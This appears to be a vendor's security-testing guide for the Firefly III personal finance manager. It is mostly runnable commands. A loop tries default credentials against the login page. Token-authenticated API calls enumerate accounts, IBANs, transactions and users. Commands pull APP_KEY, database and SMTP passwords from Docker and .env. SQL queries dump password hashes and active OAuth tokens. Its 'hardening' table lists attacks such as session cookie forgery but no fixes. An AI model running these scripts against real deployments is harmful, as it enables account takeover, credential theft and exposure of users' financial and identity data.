Firefly III Security Testing: Default Credentials, API Key, Database, and APP_KEY

Firefly III is a widely deployed self-hosted personal finance manager — it stores complete financial transaction history, bank account balances, budgets, bills, and savings goals for its users. Key assessment areas: APP_KEY is the Laravel encryption key for session cookies and sensitive stored data; Personal Access Tokens provide full API access to all financial accounts and transactions; the database stores complete financial history including transaction amounts, descriptions, and account numbers; and webhooks can leak transaction data to external services. This guide covers systematic Firefly III security assessment.

Table of Contents

  1. Authentication and Personal Access Token Testing
  2. API Financial Data Access and Enumeration
  3. APP_KEY and Database Financial Record Extraction
  4. Firefly III Security Hardening

Authentication and Personal Access Token Testing

# Firefly III — authentication and Personal Access Token testing
FF_URL="https://firefly.example.com"

# Firefly III uses Laravel — test common weak credentials
for CRED in "admin@example.com:admin" "james@example.com:changeme" \
            "admin@firefly.example.com:password" "user@example.com:firefly"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token
  CSRF=$(curl -s -c /tmp/ffjar "${FF_URL}/login" 2>/dev/null | \
    grep -oP '_token.*?value="\K[^"]+')
  RESULT=$(curl -s -b /tmp/ffjar -c /tmp/ffjar -L \
    -X POST "${FF_URL}/login" \
    -d "email=${EMAIL}&password=${PASS}&_token=${CSRF}" \
    -o /dev/null -w "%{http_code}" 2>/dev/null)
  echo "${EMAIL}: HTTP ${RESULT}"
done

# Personal Access Tokens — list all tokens for a user (admin access)
FF_TOKEN="your-personal-access-token"
curl -s "${FF_URL}/api/v1/data/export/accounts" \
  -H "Authorization: Bearer ${FF_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f'Export triggered: {d}')" 2>/dev/null

# Check OAuth clients registered
curl -s "${FF_URL}/api/v1/oauth/clients" \
  -H "Authorization: Bearer ${FF_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
clients = d.get('data',[]) if isinstance(d,dict) else d
print(f'OAuth clients: {len(clients)}')
for c in clients:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} secret={c.get(\"secret\",\"\")[:20]}')
" 2>/dev/null

API Financial Data Access and Enumeration

# Firefly III Personal Access Token — financial data access
FF_URL="https://firefly.example.com"
FF_TOKEN="your-personal-access-token"

# Get all financial accounts
curl -s "${FF_URL}/api/v1/accounts?page=1&limit=50" \
  -H "Authorization: Bearer ${FF_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
accounts = d.get('data',[])
total = d.get('meta',{}).get('pagination',{}).get('total',len(accounts))
print(f'Accounts: {total}')
for a in accounts:
    attr = a.get('attributes',{})
    print(f'  [{a.get(\"id\")}] {attr.get(\"name\")} type={attr.get(\"type\")}')
    print(f'    balance={attr.get(\"current_balance\")} {attr.get(\"currency_code\")}')
    print(f'    account_number={attr.get(\"account_number\")} iban={attr.get(\"iban\")}')
" 2>/dev/null

# Get all transactions (complete financial history)
curl -s "${FF_URL}/api/v1/transactions?page=1&limit=50&type=all" \
  -H "Authorization: Bearer ${FF_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
transactions = d.get('data',[])
total = d.get('meta',{}).get('pagination',{}).get('total',len(transactions))
print(f'Transactions: {total}')
for t in transactions[:10]:
    attr = t.get('attributes',{})
    splits = attr.get('transactions',[{}])
    s = splits[0] if splits else {}
    print(f'  [{t.get(\"id\")}] {str(attr.get(\"date\",\"\"))[:10]} {s.get(\"description\",\"\")}')
    print(f'    amount={s.get(\"amount\")} {s.get(\"currency_code\")} type={s.get(\"type\")}')
    print(f'    source={s.get(\"source_name\")} -> dest={s.get(\"destination_name\")}')
" 2>/dev/null

# Get all users (admin endpoint)
curl -s "${FF_URL}/api/v1/users?page=1" \
  -H "Authorization: Bearer ${FF_TOKEN}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',[])
print(f'Users: {len(users)}')
for u in users:
    attr = u.get('attributes',{})
    print(f'  [{u.get(\"id\")}] {attr.get(\"email\")} role={attr.get(\"role\")}')
    print(f'    blocked={attr.get(\"blocked\")} createdAt={str(attr.get(\"createdAt\",\"\"))[:10]}')
" 2>/dev/null

APP_KEY and Database Financial Record Extraction

# Firefly III APP_KEY and database financial record extraction

# Docker environment variables
docker inspect firefly_iii_app 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['APP_KEY','DB_','MYSQL','POSTGRES','MAIL','TRUSTED_PROXIES']):
            print(e)
" 2>/dev/null
# APP_KEY — Laravel encryption key (base64:XXXXX)
# DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD
# MAIL_USERNAME, MAIL_PASSWORD — SMTP credentials
# APP_URL — base URL for the application

# Read .env file
cat /var/www/html/.env 2>/dev/null | \
  grep -E "APP_KEY|DB_|MAIL_PASSWORD|APP_URL" | head -20

# MySQL/PostgreSQL — all Firefly III financial data
mysql -h localhost -u firefly -pPASSWORD firefly 2>/dev/null << 'EOF'
-- All user accounts
SELECT id, email, password,
       blocked, blocked_code,
       created_at
FROM users
ORDER BY created_at ASC
LIMIT 20;

-- All financial accounts with balances
SELECT a.id, a.name,
       at.type, a.account_number,
       a.iban, a.virtual_balance,
       u.email as owner
FROM accounts a
JOIN account_types at ON a.account_type_id = at.id
JOIN users u ON a.user_id = u.id
ORDER BY a.created_at DESC
LIMIT 20;

-- Complete transaction history
SELECT tj.id,
       tj.description,
       t.amount, t.foreign_amount,
       t.transaction_currency_id,
       src.name as source_account,
       dst.name as destination_account,
       tj.date
FROM transaction_journals tj
JOIN transactions t ON t.transaction_journal_id = tj.id AND t.amount < 0
LEFT JOIN accounts src ON t.account_id = src.id
JOIN transactions t2 ON t2.transaction_journal_id = tj.id AND t2.amount > 0
LEFT JOIN accounts dst ON t2.account_id = dst.id
ORDER BY tj.date DESC
LIMIT 20;

-- Personal Access Tokens (OAuth tokens)
SELECT ot.name,
       ot.token,
       ot.revoked,
       ot.expires_at,
       u.email
FROM oauth_access_tokens ot
JOIN users u ON ot.user_id = u.id
WHERE ot.revoked = 0
ORDER BY ot.created_at DESC
LIMIT 10;
EOF

Firefly III Security Hardening

Firefly III Security Hardening Checklist:
Security TestMethodRisk
APP_KEY extraction and Laravel session cookie forgeryRead .env APP_KEY — forge encrypted Laravel session cookies for any user account; access complete financial data for all users; create fraudulent transactions; revoke other users' OAuth tokensCritical
Complete transaction history extraction via APIGET /api/v1/transactions with Personal Access Token — all financial transactions with amounts, descriptions, source/destination accounts, and dates; complete financial behavior profile including income sources and spending patternsHigh
OAuth access token extraction from databaseSELECT token FROM oauth_access_tokens WHERE revoked=0 — all active Personal Access Tokens; each provides full API access to account financial data; tokens do not expire without explicit revocationHigh
Account number and IBAN extractionSELECT account_number, iban FROM accounts — all bank account numbers and IBANs for all user accounts; financial identity data enabling identity fraud and social engineeringHigh
Attachment financial document accessGET /api/v1/attachments — all uploaded receipts, bank statements, and financial documents; may contain sensitive document images, bank statement PDFs, and tax documents uploaded as transaction evidenceMedium

Automate Firefly III Security Testing

Ironimo tests Firefly III deployments for APP_KEY Laravel session cookie forgery, Personal Access Token extraction enabling full financial data API access, complete transaction history extraction, OAuth access token database enumeration, bank account number and IBAN exposure, attachment financial document access, Docker APP_KEY/DB_PASSWORD/MAIL_PASSWORD exposure, webhook endpoint SSL validation and data leakage assessment, OAuth client secret exposure, user enumeration via admin API, and budget/bill/piggy bank financial goal data extraction.

Start free scan